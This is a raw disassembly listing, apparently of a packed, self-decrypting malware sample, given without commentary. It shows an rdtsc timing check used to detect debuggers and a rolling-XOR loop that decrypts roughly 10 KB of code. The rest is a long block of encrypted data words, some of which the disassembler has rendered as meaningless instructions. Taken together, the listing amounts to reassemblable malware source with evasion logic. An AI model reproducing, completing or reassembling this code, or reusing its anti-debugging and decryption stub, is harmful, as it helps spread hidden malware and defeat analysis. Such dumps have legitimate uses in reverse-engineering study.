		call	sub_3142A138
		mov	ecx, eax
		call	sub_3142A138	; CODE XREF: sub_3142A00E+146j
		sub	eax, ecx
		jz	short loc_3142A10C
		cmp	eax, 100h
		ja	short loc_3142A10C
		lea	eax, [ebp+3610D3h] ; CODE XREF:	sub_3142A00E+13Fj
		mov	dl, [eax-10h]
		call	sub_3142A13C
		jmp	short loc_3142A14B
; ---------------------------------------------------------------------------


loc_3142A10C:				; CODE XREF: sub_3142A00E+E5j
					; sub_3142A00E+ECj
		test	dword ptr [ebp+3638A5h], 80000000h
		jz	short loc_3142A136
		lea	esi, [ebp+3638A9h]
		mov	edi, [esp+4]
		movsb
		movsd
		mov	esi, [ebp+363FECh]
		mov	edi, [ebp+363FF0h]
		mov	ebx, [ebp+363FE8h]


loc_3142A136:				; CODE XREF: sub_3142A00E+108j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_3142A00E

; =============== S U B	R O U T	I N E =======================================



sub_3142A138	proc near		; CODE XREF: sub_3142A00E+D7p
					; sub_3142A00E+DEp
		rdtsc
		retn
sub_3142A138	endp

; ---------------------------------------------------------------------------
		db 0D0h

; =============== S U B	R O U T	I N E =======================================



sub_3142A13C	proc near		; CODE XREF: sub_3142A00E+F7p
		mov	dh, dl
		mov	ecx, 27D2h


loc_3142A143:				; CODE XREF: sub_3142A13C+Cj
		xor	[eax], dl
		inc	eax
		add	dl, dh
		loop	loc_3142A143
		retn
sub_3142A13C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_3142A00E


loc_3142A14B:				; CODE XREF: sub_3142A00E+FCj
		push	ecx
		inc	ebx
		jo	short near ptr loc_3142A0FC+3
		out	dx, eax
		pop	ds
		xor	ebx, edi
		push	ds
		jz	short near ptr loc_3142A0EC+2
		test	eax, 813814E3h
		cmp	esp, [eax-6AEFBF8Fh]
		pop	edi
		or	edx, [ebx-9034CDDh]
		loope	loc_3142A172
		push	eax
		xchg	eax, ebp
		aad	9Ch
		retf
; END OF FUNCTION CHUNK	FOR sub_3142A00E
; ---------------------------------------------------------------------------
		db 40h
		db 98h,	0B3h
; ---------------------------------------------------------------------------


loc_3142A172:				; CODE XREF: sub_3142A00E+15Aj
		push	ebx
		fist	dword ptr [edx-30h]
		dec	ebx
		fidivr	dword ptr [eax+33h]
		rep or dword ptr ds:61768373h, 702482C8h
		test	ecx, ecx
		adc	[eax], ebx
		xor	eax, 14E1B36Fh
		xor	al, 15h
		add	bl, [edx-27h]
		or	eax, 0B4CCD9E3h
		jmp	short loc_3142A1DC
; ---------------------------------------------------------------------------
		dw 8924h
		dd 0A74F83A3h
		db 0E4h, 0FEh
; ---------------------------------------------------------------------------


loc_3142A1A2:				; CODE XREF: UPX2:3142A210j
		or	ebp, [edx]
		cmp	al, 0F3h
		cmp	ebx, [ebx]
		push	esp
		mov	bh, 3
		and	ecx, [eax+7Ch]
		inc	eax
		adc	al, ah
		rep in al, dx
		aas
		push	ebx
		xchg	eax, ebp
		mov	cl, dh
		push	cs
		push	esp
		insb
		mov	ch, 0A0h
		and	edi, [edi-39CA963Ah]
		imul	edx, [esi], -10h
		sub	[ebp-6CFFCFA0h], bl
		rcl	byte ptr ds:0F5856421h,	cl
		div	byte ptr ds:9081844Eh
		xor	ecx, edi
		setalc
		pop	ecx


loc_3142A1DC:				; CODE XREF: UPX2:3142A198j
		and	eax, 0E0267B3Ah
		pop	eax
		lea	edx, [eax+20h]
		lock xchg esi, ebp
		adc	al, 7Ch
		popa
		mov	ds:623235D4h, eax
		pop	edx
		add	byte ptr [ebx],	0DFh
		db	26h
		dec	ecx
		adc	eax, 0D0360B2Eh
		dec	eax
		mov	bl, 43h
		adc	al, ah
		xor	eax, 0F3A45F40h
		aas
		outsd
		lahf
		pusha
		inc	dword ptr [ebp-12h]
		dec	ebx
		jbe	short near ptr loc_3142A21F+1
		db	65h
		jo	short loc_3142A1A2
		aad	0A1h
		rep rcl	byte ptr [eax-3AD37220h], 96h
		jo	short loc_3142A260


loc_3142A21F:				; CODE XREF: UPX2:3142A20Ej
		db	65h
		hlt
; ---------------------------------------------------------------------------
		db 4Fh,	35h, 0B8h
		dd 6EC0C61Fh, 0E6151CEDh, 94C5FFA0h, 0BB8086F5h, 14657327h
		dd 0D0000675h, 534D523h, 0D380B0D6h, 0A6D58885h, 75833060h
		dd 107665DCh, 0D546E7E0h, 90F6E2F1h, 82B5B961h,	9D40469Bh
; ---------------------------------------------------------------------------


loc_3142A260:				; CODE XREF: UPX2:3142A21Dj
		push	ebp
		inc	eax
		xchg	eax, ebp
		db	66h
		and	bl, al
		or	ds:0E63B6EDDh, ebx
		mov	al, ds:6CF860C1h
		mov	bl, 80h
		push	eax
		jg	short near ptr loc_3142A282+3
		push	ebp
		push	cs
		pop	ebx
		push	es
		add	[ecx], dl
		dec	eax
		outsd
		dec	edi
		xchg	eax, esp
		xor	al, 0B0h


loc_3142A282:				; CODE XREF: UPX2:3142A274j
		adc	byte ptr [eax-55h], 0B7h
		aam	0FAh
		and	[ebx], dh
		retn
; ---------------------------------------------------------------------------
		db 0B8h
		dd 184060A0h, 6BD63569h, 99A8F016h, 0BA003010h,	0C6D58FA0h
		dd 0D58086DBh, 7E44FFE0h, 47003062h, 40C52Dh, 0BF0BB0D6h
		dd 90CCF399h, 0D0EDB160h, 9D4046B0h, 6692E175h,	6F650320h
		dd 0F0ECB382h, 182A8C2Bh, 0DDD970D3h, 0A6DBC9B5h, 5BABC360h
		dd 17F95Ch, 79CF71Eh, 91C0F348h, 8695CF60h, 9340469Bh
		dd 90059024h, 925F742Fh, 0BA973060h, 78411AA0h,	0D080B4E0h
		dd 91C0F048h, 8695CF60h, 9540469Bh, 0D204BF20h,	0FAC0F022h
		dd 0D0686060h, 7A4074A0h, 5C6871E0h, 0C0C19A77h, 0D1003108h
		dd 46D58FA0h, 388086DBh, 90C1F02Ah, 0EB56A59Fh,	15A87096h
		dd 0B980B0E0h, 90C0F271h, 3359300Ah, 0EF4A1AAAh, 66BB7A75h
		dd 53311B20h, 0EB768DE3h, 1F407096h, 50828464h,	90C61820h
		dd 844E3060h, 100C3CE4h, 6B12251Fh, 254DF016h, 0D03627AAh
		dd 0ADCDB993h, 50B68B3Eh, 7853FE91h, 0D0003214h, 2C52CD23h
		dd 5F80B0D6h, 90C2F0A4h, 3285BB60h, 0EF40469Bh,	0D50FB190h
		dd 90F6C7DCh, 0EBFAB5EBh, 60BF7096h, 19053FE1h,	1BC0C618h
		dd 0E63BD6E5h, 11308FA0h, 68D0356Fh, 1D4BF016h,	0D0360B8Ah
		dd 61BF6A43h, 0D053FE1h, 1BC0C618h, 0E63BC2EDh,	0EF4993A0h
		dd 0D50FB191h, 90F6C84Ah, 0D0018888h, 78FDFDA0h, 0DB8086DCh
		dd 66C09AEFh, 0D470CFB9h, 7A439123h, 779B3A0h, 88AAF04Ah
		dd 0C5D785EDh, 9F97096h, 0DD80B0E0h, 6F3EBD24h,	7B66CF9Fh
		dd 100D742Dh, 3680B0E0h, 94877D8Bh, 5DE402CBh, 267B6435h
		dd 0D9E61CE0h, 136B9622h, 25E232A2h, 102AA42Bh,	50F0B988h
		dd 0FA0C7B20h, 0BAC4BB60h, 104018A0h, 10EAB8E0h, 9EAAA271h
		dd 3E95CF30h, 4840469Bh, 38C07463h, 90C08029h, 0D06AE4EBh
		dd 502ABC2Bh, 52EAB08Ah, 0F8C09A72h, 0D0004069h, 7A1170CAh
		dd 0C57FE01Fh, 90F6CBD6h, 2F85693Fh, 1147F4AFh,	0E50DB0E0h
		dd 90F6E020h, 0D00C33D9h, 0E3AFFBA0h, 506D3145h, 1DC0C630h
		dd 0E61407E5h, 40A08FA0h, 3AA0DAB4h, 6E550FDFh,	5500065Bh
		dd 24352F60h, 5081FE08h, 90D11820h, 0B5533060h,	652215E4h
		dd 39F2E087h, 0F5AC9956h, 87005507h, 10453F48h,	3C354FE0h
		dd 6FC0C61Fh, 0E63BB2F5h, 85BF27A0h, 50B68BA6h,	92AAF04Ah
		dd 0EB76A59Fh, 38F97096h, 0C780B0E1h, 9C49110Bh, 2F576444h
		dd 267BCA35h, 0D37683E0h, 0A6FCA685h, 87543060h, 2BFEE55Fh
		dd 9005B0D6h, 13869654h, 3E72349Eh, 1864045Fh, 7AEAB08Ah
		dd 0AB7665DFh, 10853056h, 0F8D3ACD4h, 5080B567h, 73513913h
		dd 8685095Ah, 6540469Ch, 74FC31D2h, 0E2B39304h,	51284413h
		dd 104EED61h, 0D4E0E0h,	0C090A176h, 0BE95CF33h,	9540469Bh
		dd 5FF4E920h, 98E484DFh, 0EC56B5EFh, 0D5A87096h, 37F4F1Dh
		dd 0AB8665DFh, 5EEB3056h, 1168B421h, 0AFD7B0E0h, 0A6FBB6B5h
		dd 9695CF60h, 0F940469Bh, 0AF7F4B88h, 90AAAA20h, 0D06A300Ah
		dd 112870CAh, 0DB80B4E0h, 0C0C09AE4h, 148B3C0Ah, 6816925Fh
		dd 508084BFh, 4A283913h, 5DFFCF9Fh, 26553635h, 1D1E2E0h
		dd 0DA550F70h, 5300065Bh, 80835064h, 50D8E8B8h,	90C0C029h
		dd 0D0003E08h, 104070A1h, 5080B0E0h, 90C0F020h,	0D00018C5h
		dd 104070A0h, 0AFD3E6B1h, 0A6FBA2B5h, 7C599B60h, 0EB35B024h
		dd 0DD435E02h, 0A6D981B5h, 45FF6260h, 10764B0Ah, 6FEC3569h
		dd 8628F016h, 9C003060h, 652B1FCFh, 39F2E090h, 0F5AC9956h
		dd 0B1565507h, 512505CCh, 0C57FE0E0h, 90F6CB72h, 0EF70B5E9h
		dd 4C837096h, 35F3D1A2h, 0F5AD916Eh, 0BA627F04h, 633413C5h
		dd 3F4E6BCh, 90B49345h,	0A274430Ch, 102E15CCh, 31E5C2A3h
		dd 0F9869554h, 0D041550Ch, 712502E3h, 39C6D594h, 0F18D954Ch
		dd 0BE694010h, 534031C7h, 24E1D592h, 0FFB2A045h, 0A3735503h
		dd 620370E1h, 35F4D185h, 0FFAD9572h, 0B8545514h, 742115D2h
		dd 35F2F3E0h, 0C4A58441h, 0B1654208h, 620370C4h, 35F4D185h
		dd 0FCAF9F74h, 0A06C5508h, 7E134293h, 38F3C081h, 0D5C0844Fh
		dd 84745918h, 712502C8h, 39C6B084h, 0F994954Ch,	0BF54550Dh
		dd 643309F3h, 39D4DD85h, 0D6C0954Dh, 9C655512h,	713212C9h
		dd 1780C992h, 0F9868445h, 0A441550Ch, 722902D4h, 23E5C495h
		dd 0F587F061h, 0BC697614h, 6A2923C5h, 35C7B085h, 0FCA9B654h
		dd 0BD696405h, 750770C5h, 34EFFD94h, 0D8A59C55h, 0BC645E01h
		dd 574031C5h, 35D4C485h, 0F986804Dh, 0B14E550Ch, 100115CDh
		dd 4F4D5A7h, 0C0B09D45h, 91684401h, 642537A0h, 23F2D5B6h
		dd 90AE9F49h, 86745527h, 793302C5h, 28C5DE8Fh, 0F587F061h
		dd 0BC6F6614h, 59251DD5h, 22EFD68Eh, 0F9B4914Dh, 0D0415E0Fh
		dd 74211FECh, 22E2D9ACh, 0D1B98241h, 0A0617D60h, 672519F6h
		dd 39C6D6AFh, 0DFC0954Ch, 966E5510h, 5D251CC9h,	39F0C081h
		dd 9081974Eh, 0BE65402Fh, 732F02F0h, 50F3C385h,	0F3AF8270h
		dd 0E3734305h, 62293692h, 80C493h, 0F5A39F52h, 0E2334313h
		dd 643815EEh, 24E5E3E0h, 0F5AC9966h, 0A2744421h, 643512C9h
		dd 50C1C385h, 0D6B49573h, 84655C09h, 10251DC9h,	35E5DCB3h
		dd 0E993F050h, 0BD654413h, 752D19F4h, 39C6DFB4h, 0F994954Ch
		dd 8500550Dh, 60211DCEh, 27E5D9B6h, 0F986966Fh,	8600550Ch
		dd 653402C9h, 3CC1DC81h, 90A39F4Ch, 0A4694237h,	7C2936C5h
		dd 24CEB085h, 0E5AA9461h, 0A2504413h, 7C2906C9h, 23E5D785h
		dd 0F5AB9F74h, 0A44E300Eh, 712502E3h, 39C6D594h, 0DEC0954Ch
		dd 0B5727314h, 402504C1h, 35E3DF92h, 0DEC08353h, 0B5727314h
		dd 402504C1h, 35E3DF92h, 0E8858353h, 93747E60h,	642115D2h
		dd 33E5E385h, 0FEAF9954h, 93747E60h, 642115D2h,	35F3E585h
		dd 0FFB2A052h, 0A3735503h, 5D343EA0h, 39D6C081h, 0F68F8745h
		dd 0A4635533h, 102E1FC9h, 20CFC4AEh, 0F9869E45h, 9E00550Ch
		dd 75303FD4h, 3FF2E08Eh, 0E3B39543h, 0B56B5F34h, 640E70CEh
		dd 3EE5C0AFh, 0E4A39573h, 0D06E5F09h, 621004EEh, 33E5C48Fh
		dd 0E2A9A654h, 0BC614514h, 7F2D15EDh, 1E80C992h, 0F5B5A154h
		dd 0BE494912h, 7D321FC6h, 3FE9C481h, 0FBAFA44Eh, 9E005E05h
		dd 793227D4h, 39D6D594h, 0F1B58452h, 0BD657D0Ch, 103902CFh
		dd 5ECC4B2h, 0FFA3994Eh, 0A4535504h, 772E19D2h,	3EC1DFB4h
		dd 0E4939953h, 0B76E5912h, 511327A0h, 22E1C4B3h, 90B08554h
		dd 0A36F5C03h, 732F03C5h, 50F4D58Bh, 0FEAE9F43h, 0D0745305h
		dd 783415C7h, 32F4C38Fh, 0FDA19E59h, 0B5723005h, 634006C3h
		dd 50E4DE85h, 0FBA39F53h, 99004405h, 622504CEh,	13F4D58Eh
		dd 0F5B39F4Ch, 0B46E5128h, 594015CCh, 22E5C48Eh, 0D7B4954Eh
		dd 0BF434405h, 73251ECEh, 3E4D594h, 0F5B49154h,	0A46E7960h
		dd 752E02C5h, 35F0FF94h, 0D9C0B14Eh, 0A265440Eh, 5F3415CEh
		dd 5EED590h, 90819C52h,	0B5745E29h, 64251ED2h, 34E1D5B2h
		dd 0F5AC9966h, 86447160h, 230920E1h, 1CC49ED2h,	0F592F06Ch
		dd 0BF6C7307h, 750B15D3h, 35D2B099h, 0F5B0BF47h, 0A9657B0Eh
		dd 100108E5h, 1E7D5B2h,	0E9B29555h, 0A56C5136h,	513835C5h
		dd 37E5E2E0h, 0C6B49573h, 0B5755C01h, 100108E5h, 3A7683B6h
		dd 1B96A622h, 82015AB4h, 4658025Fh, 6FF0251Fh, 544BF016h
		dd 80566636h, 8308FF6h,	6B5E251Fh, 5443F016h, 0D8C26E70h
		dd 0EB09FDA0h, 38D178CBh, 78C0F020h, 0D3247CEDh, 152A70CAh
		dd 3AD3E0B1h, 0C00C7B25h, 8450E4EBh, 421130CAh,	56154FB3h
		dd 13C0C61Ch, 45FF3CA4h
		dd 10764CAEh, 93887463h, 0ABD465ADh, 19333056h,	781270CAh
		dd 50B2B0D0h, 0C19134ABh, 8150700Ah, 0D0C368CAh, 5EEAE4E8h
		dd 92550F70h, 5300065Ch, 0C2735064h, 0C98F7065h, 0C81A07E2h
		dd 87C3F243h, 0D1A88F93h, 5F7F4F1Fh, 90C055A4h,	0D9686060h
		dd 9B4070D0h, 0DB80DA34h, 0F8809AECh, 0D0103060h, 7A1272CAh
		dd 2089D8E0h, 90AAF020h, 2F506331h, 267B8635h, 0AFD9EFE0h
		dd 0A6FBB6B5h, 0A4FFB560h, 6CCDFBD1h, 0B38086F5h, 90557D2Ch
		dd 0D3000670h, 0EF132771h, 0B2053B32h, 1DC0C61Bh, 0D027CBEFh
		dd 0EF6B98A0h, 0D50B4F1Fh, 90F6CBDAh, 0F848BFEDh, 0AA870A0h
		dd 0DB7F4F1Fh, 0A6FB16A5h, 9F8FBD60h, 0F8407088h, 0AF7F4FE9h
		dd 0AB2A75ABh, 10853056h, 9FCD50D4h, 508098BCh,	6F3E04C8h
		dd 2285BB9Fh, 9540469Bh, 0DD8BC420h, 90E899AFh,	2EDFD860h
		dd 0D7CB8F5Fh, 0B8D573BFh, 90C0F020h, 0C0EDB13Dh, 234046BBh
		dd 0CD053D29h, 0C1C0C63Eh, 80516134h, 85BF21F1h, 50B68B92h
		dd 6FE4F4A7h, 0E63B76F5h, 14822DA0h, 5068E5E0h,	0CDC0F020h
		dd 0CB3FDDE1h, 0EF2A7096h, 4B8A256Dh, 0C290F016h, 0D02410ADh
		dd 0D4C3708Ah, 0D547D6ECh, 90F6EB70h, 55C710ADh, 10766BF2h
		dd 50AAB0C4h, 8AAA337Dh, 0D009D838h, 52CD70A0h,	997E1A81h
		dd 0F9030055h, 0E63C50F5h, 18C475A0h, 0C509F2E8h, 90F6CC40h
		dd 85C3D297h, 10407048h, 0BD01EDE0h, 90F6EBB9h,	0EC64ADEBh
		dd 6CC37096h, 5F80B8C4h, 90C049A4h, 0D8ECB160h,	444070A2h
		dd 5081B488h, 0A550F20h, 5B00065Bh, 34C4FD5Ch, 5080B1E4h
		dd 78C09A70h, 0D0003064h, 101222F6h, 0C6154FB7h, 0A3C0C61Bh
		dd 0D497BDA9h, 414070A1h, 182DAB1h, 90A8F14Ah, 82403060h
		dd 2B22E55Fh, 0D516B0D6h, 0C09B84D6h, 0D1045834h, 0EF1770A0h
		dd 52A09454h, 53FF020h,	0D0360C22h, 6480F5F9h, 9453F6h
		dd 90AA24ABh, 86576132h, 2B9AE55Fh, 0D5D9B0D6h,	0C61085E0h
		dd 0EB46A59Fh, 47CD7096h, 3AD7E2A4h, 74DA864h, 0D0003164h
		dd 7A80430Bh, 0FB73E9F0h, 0C090A070h, 82506030h, 2B2AE55Fh
		dd 9401B0D6h, 90C0F228h, 0D824449Fh, 2C72E55Fh,	0AFD3B0D6h
		dd 0A6FCC2B5h, 0D4C26D60h, 1A7EF0A0h, 0DBC6B195h, 0A6D588ADh
		dd 5D19D360h, 26507035h, 651B3E0h, 504422DFh, 0D11FB86Fh
		dd 944F70A0h, 5080B1F0h, 0E5FACEA0h, 0EE807670h, 11C47FA0h
		dd 0D080B0E1h, 61B5D01Eh, 803EB126h, 65073EE9h,	964F3BA2h
		dd 0BB8FF166h, 0D06A61AEh, 0EF1326F1h, 66BC9A75h, 51FBA920h
		dd 0D0DFB56Fh, 95CD70A0h, 50B6AE71h, 9CA8F04Ah,	80003060h
		dd 3AD58FF3h, 6D8086DCh, 90C0F02Ch, 0D0BFB56Fh,	0A1A970A0h
		dd 0D180B0E0h, 0D992A01Eh, 75853F36h, 934070A0h, 6C2CB826h
		dd 944FF2Dh, 0EC003060h, 0BCB30580h, 0D58F8ADCh, 90C0F0ACh
		dd 0F0203DCDh, 317D5080h, 25F4D587h, 0B0FC5C5Fh, 0AE814C15h
		dd 6428505Fh, 0D1F1C594h, 0AAB0F35Eh, 0B8751F4Fh, 10BF3766h
		dd 403A81EFh, 67C0F007h, 45FF6282h, 10764B6Ah, 0D070D3h
		dd 9928A070h, 94003060h, 7C2E07CFh, 50E4D18Fh, 0ACFA65DFh
		dd 10853056h, 0D97346D4h, 6CE43569h, 0F891F016h, 50003260h
		dd 401621F1h, 6CBE251Fh, 54DF016h, 0D0362BF3h, 448943F0h
		dd 1D2E0B1h, 0E2550F71h, 5700065Bh, 85BF54A4h, 50B68BA6h
		dd 1D4033D8h, 0D036250Bh, 7A8389A1h, 0AF81DAE1h, 94B30F13h
		dd 6D80259Fh, 107630A8h, 0D5DEC4E1h, 0A39A84E0h, 63D0BBBBh
		dd 2C1073ABh, 4D37056Dh, 2A4BF016h, 0D000316Ch,	1148FA2Bh
		dd 0A883B0E0h, 1BA03B0Bh, 0B1A6C3ABh, 0F20775D4h, 0D3AE5B15h
		dd 1B93FFE7h, 48B67ACh,	502A24F0h, 0AFEAE2B1h, 0ACC665DFh
		dd 5D8B3056h, 10764BDAh, 7B8C7463h, 972973EFh, 0D06A37A7h
		dd 5FC97048h, 1FD373E3h, 0D197A466h, 9D5C7532h,	7F3213C9h
		dd 24E6DF93h, 0FEA9A77Ch, 0A3775F04h, 623533FCh, 24EED592h
		dd 0E3B29576h, 8C6E5F09h, 7C3008E5h, 22E5C28Fh,	0E2A1A420h
		dd 98745507h, 103403CFh, 80B0E2h, 404F8275h, 0B4634209h
		dd 75290A8Eh, 3CF09E86h, 0D389BE20h, 0A070102Bh, 723916C8h
		dd 58AD190h, 0B092B573h, 994F7A12h, 666650EEh, 25F4C289h
		dd 9028A52Ah, 8D003060h, 0EE39D21h, 0D546B0D6h,	90F6E54Bh
		dd 4E95CF60h, 0D140469Bh, 6CF4AF08h, 254BEE4Ah,	0D0360B36h
		dd 3E7CDCF9h, 0D1E69A95h, 0E5DD0F1Eh, 8ABDBD43h, 9B40469Ch
		dd 0F5D7B296h, 154D5546h, 0D03607B1h, 27B7F52Fh, 0D97AB0D6h
		dd 0DE4C0A66h, 0D1B1CB9Eh, 71ABBF42h, 0AF7BAF08h, 0B4BC73DFh
		dd 85753468h, 5048F566h, 0B880B0D6h, 90C0F028h,	0FE437633h
		dd 100C3CE4h, 6B2A251Fh, 50CBF016h, 0BA932714h,	85BF23A2h
		dd 50B68BB2h, 98B430A5h, 9008B59Eh, 0C0BF7096h,	0AE045873h
		dd 9B280FDFh, 83003060h, 5F1F33E6h, 1CC49EB3h, 53FF06Ch
		dd 0D0360BCAh, 0EFBE1948h, 0A56E581Fh, 1D3F0FDFh, 0D03622B1h
		dd 95CDB993h, 50B6F0E4h, 0C191A171h, 81516130h,	2BE6E55Fh
		dd 5B68B0D6h, 0C5C0F020h, 0E3527533h, 5C045E92h, 0C57FB0ACh
		dd 90F6CB8Ah, 0D0003A88h, 603307A0h, 24EED992h,	0C0C0B146h
		dd 0EB52A59Fh, 95C97096h, 50B68BBAh, 1D4DC12Fh,	0D0362911h
		dd 2C20F529h, 0AFD1B0D6h, 0A6FB5AB5h, 0D468A360h, 9D4070A0h
		dd 6699CE55h, 2D4DA920h, 0D0360C26h, 0EFB5DF48h, 0D547D61Fh
		dd 90F6EE4Ah, 75836060h, 10766ECCh, 7A153DE0h, 0C0C0C63Eh
		dd 0BA015A34h, 122822A0h, 0AF00B0E0h, 0A6FCBAB5h, 8AC0B560h
		dd 9DCD52D5h, 50B6AEBDh, 1DC69A72h, 0E61E5AD5h,	401624A0h
		dd 0AFD2E1B0h, 0A6FCBEB5h, 45FF6860h, 10764CE6h, 6EE73526h
		dd 78C0F016h, 0D000306Ch, 530F23F7h, 7EB283ABh,	908CBC64h
		dd 0EBAAA59Fh, 78D37096h, 5080B0E7h, 881545ADh,	5D593056h
		dd 267C661Dh, 0A5AA58E0h, 9C280FDFh, 87003060h,	5E093EE9h
		dd 14AEE4A5h, 6FC0BC6Ch, 0E63B9AF5h, 1F80F5A0h,	50828564h
		dd 95A86320h, 5D003060h, 26596315h, 0ED0DE9E0h,	90F6CC12h
		dd 2FF4C388h, 26FDF35Fh, 508086DCh, 92D0742Fh, 3C813060h
		dd 10407130h, 5181D8B4h, 53FF020h, 0D0360C76h, 11D0B421h
		dd 0DBD0B0E0h, 0C2C09AF4h, 0EC36A59Fh, 0D0C57096h, 388DC5B9h
		dd 90C0E3A8h, 0EBCAA59Fh, 0F2AB7096h, 4EEC0D63h, 0E5C0F016h
		dd 0A085BD49h, 404046BEh, 6CA2251Fh, 5045F016h,	0D189B46Fh
		dd 50CB70A0h, 0AF803BECh, 0FC457F10h, 1600067Eh, 267E1725h
		dd 50EAB1E0h, 92AAF14Ah, 0EC2EA59Fh, 0E8C37096h, 3004BF1Fh
		dd 3C0F021h, 0CE68A5EDh, 2A7096h, 0C57FE3B2h, 90F6CC3Eh
		dd 550FF0E5h, 104071E0h, 4E020D6Dh, 9871F016h, 2FFA1988h
		dd 10D4185Fh, 7BDEB0E0h, 0B4F479C6h, 7295CF34h,	9D40469Bh
		dd 669E205Dh, 78C14120h, 2FFFCA6Ah, 0E3DE52Dh, 50EAB0D6h
		dd 90C0E448h, 2F536260h, 267C5A35h, 74C43DE0h, 94557D34h
		dd 80000620h, 9B4AC6AFh, 919494A4h, 0DAC2F8C0h,	0D24A2261h
		dd 1B433AB2h, 0D08894A4h, 7001FFC1h, 940B6168h,	22BF6084h
		dd 383D3DB0h, 78C0C61Ch, 0D000307Ch, 68765E85h,	7EA09EC0h
		dd 0B5E5CA00h, 0A8381E45h, 35600885h, 1FCABA93h, 90E0BE69h
		dd 8A95CF37h, 9140469Bh, 50801C24h, 0C0C09A20h,	45FF6337h
		dd 10764C8Ah, 45043D6Bh, 90AAF016h, 196B2B83h, 15A821ADh
		dd 7680B0E0h, 90CA9405h, 8A95CF37h, 9340469Bh, 0BBD0BC24h
		dd 90C7982Bh, 6D8D3060h
		dd 10766E36h, 0C57FE3B7h, 90F6CC0Ah, 847EF0E5h,	2C28C52Dh
		dd 0F503B0D6h, 90F6E5A4h, 0B78DBD60h, 3B40469Eh, 180DA2Eh
		dd 53FA376h, 0D0360C46h, 6E408823h, 0AE0B21CFh,	0ACA845ADh
		dd 0DDB03056h, 35DE52h,	0AA975880h, 0E2A10FDFh,	5D09D377h
		dd 0FAAB71D7h, 9EAB7F6Bh, 0ACA84DADh, 74F33056h, 0A9AB8727h
		dd 4A154FB3h, 10C0C61Ch, 0E6155BDDh, 3A3471A0h,	50F58088h
		dd 5A550F20h, 5000065Bh, 267E171Dh, 41F4B0E0h, 8EAC75E7h
		dd 0D0003056h, 958670A0h, 50B68E87h, 6EC81920h,	55C7CF9Fh
		dd 107665D4h, 0D080B0E0h, 90C4327Dh, 0F04F3A6Dh, 7E2F1FCEh
		dd 70E6DFC0h, 0F5A6994Ch, 0F04F1041h, 752D19D4h, 70EFC4C0h
		dd 0F5AC9543h, 0A4614202h, 1A4D51C5h, 70A090C0h, 0E3E0BF00h
		dd 0B56D5D15h, 712750D2h, 3EE5D492h, 0C2CAFD01h, 0BE655C05h
		dd 63251CD4h, 70F9DC93h, 0E0B09148h, 0BE611019h, 682550C4h
		dd 24E3D590h, 0BCB49E41h, 0B1744340h, 7E2914CEh, 7DA08A87h
		dd 0F197FA2Dh, 0B9685314h, 716017CEh, 34A0DC8Ch, 0F1E08941h
		dd 0BE20540Eh, 642817C9h, 3FE690CCh, 0E2A6D052h, 0B46E5509h
		dd 300950D3h, 24E9D197h, 0C7CAFD1Ah, 0B5725508h, 75321180h
		dd 25EFC9C0h, 0E2A6D00Ch, 0B46E5509h, 53604FD3h, 71E5DD8Fh
		dd 0B0B4B900h, 0A4204309h, 31251DC9h, 77F4F9C0h, 0F1ACD053h
		dd 7F215514h, 0C0201EDFh, 79399284h, 94D05634h,	7830F7E4h
		dd 0A40CD201h, 5385BB9Ah, 0A28F245Ah, 0F3400732h, 10E58A7Ah
		dd 7482F2Ch, 0A6FA5B79h, 78A64FB3h, 4CE773F6h, 7042DC2Ch
		dd 90DE9363h, 0D0003060h, 104070A0h, 5080B0E0h,	90C0F020h
		dd 0D0003060h, 104070A0h, 5080B0E0h, 90C0F020h,	0D0003060h
		dd 104070A0h, 5080B0E0h, 90C0F020h, 0D0003060h,	104070A0h
		dd 5080B0E0h, 1FC0F020h, 0B0C758F8h, 2F94D523h,	0D380B0D6h
		dd 0A6FF2885h, 670F3060h, 43CD64E3h, 1B37BFF8h,	1B10F326h
		dd 0FB241424h, 9327CE2h, 2388F2DBh, 84827B34h, 590C724Bh
		dd 267FA435h, 880539E0h, 7BC0C61Fh, 0F8C2B365h,	0D221A942h
		dd 0D508B0E4h, 90F6D446h, 0D0005488h, 106018A0h, 0D50DB0E0h
		dd 90F6D3B3h, 0A4180939h, 1480F3ACh, 0D57F4702h, 90F6CF94h
		dd 0D3D9C7A3h, 2664162Dh, 0AF9053E0h, 904F0C50h, 3204D8E3h
		dd 83DDF956h, 0D38086C3h, 95B4F01Ah, 0A203024Bh, 0EC0EFDB0h
		dd 0D3DEEBB8h, 94B4F01Ah, 0D3EB029Fh, 0F850025Fh, 0AF7F4FB7h
		dd 1DEB3E0Bh, 0D0360FB8h, 240B73F8h, 0E8053F23h, 57C0C61Fh
		dd 0E63F84E5h, 104070A0h, 50BC58E0h, 154BF020h,	0D0360FD4h
		dd 0EFB6E648h, 5098581Fh, 2D43F020h, 0D0360FD4h, 994805A0h
		dd 66A4BF7Dh, 6F5C1B20h, 0E63F84EDh, 95CFB3A0h,	50B68F58h
		dd 0AF7465A9h, 0D3E83056h, 234070A0h, 0C30B7329h, 90C0F0A0h
		dd 2EEDD832h, 85438F5Fh, 50B68F38h, 0EA432623h,	540F306Ch
		dd 104071A7h, 5090CA63h, 903D742Fh, 928B3060h, 0D8A820ACh
		dd 537F4F1Eh, 0A6FF28A5h, 80C63360h, 0E9C0782Ah, 0D099C4E0h
		dd 93B4DED9h, 5BF1DB20h, 0F1C171E8h, 8F5F6F3Fh,	0DC8409A1h
		dd 3C75302Ch, 93885BF9h, 0DF8F4A19h, 90C0F097h,	2E78B106h
		dd 954F4293h, 5080B04Bh, 90FA7376h, 9A8B3515h, 9B429BB0h
		dd 171B3EAh, 6F3E82C8h,	8B5339Fh, 0BD40469Fh, 0ABF87065h
		dd 9044742Fh, 65FF3060h, 10764F78h, 0AED558B0h,	15C30FDFh
		dd 0D0360FB8h, 2F98F52Fh, 5483B0D6h, 5043A304h,	0DFDB0362h
		dd 2A37816h, 3A07960h, 94E4D4E1h, 0F9242C49h, 501B54ACh
		dd 0AB01590Bh, 4D7B272Fh, 2B810E14h, 0CB2E3508h, 0AB018694h
		dd 6F61CB79h, 2B811E14h, 0BCF55276h, 0AB019694h, 639819B3h
		dd 2B812E14h, 0E31899DDh, 0AB01A694h, 71E5CF66h, 2B813E14h
		dd 0F1654F90h, 0C57FB694h, 90F6CF98h, 2F71D93Bh, 931E8F5Fh
		dd 0BF69A422h, 533F0FDEh, 88045A61h, 0EFB54648h, 1015381Fh
		dd 0F6C0C606h, 0D21801D8h, 13A4B042h, 0FBE652E2h, 7898F64Ah
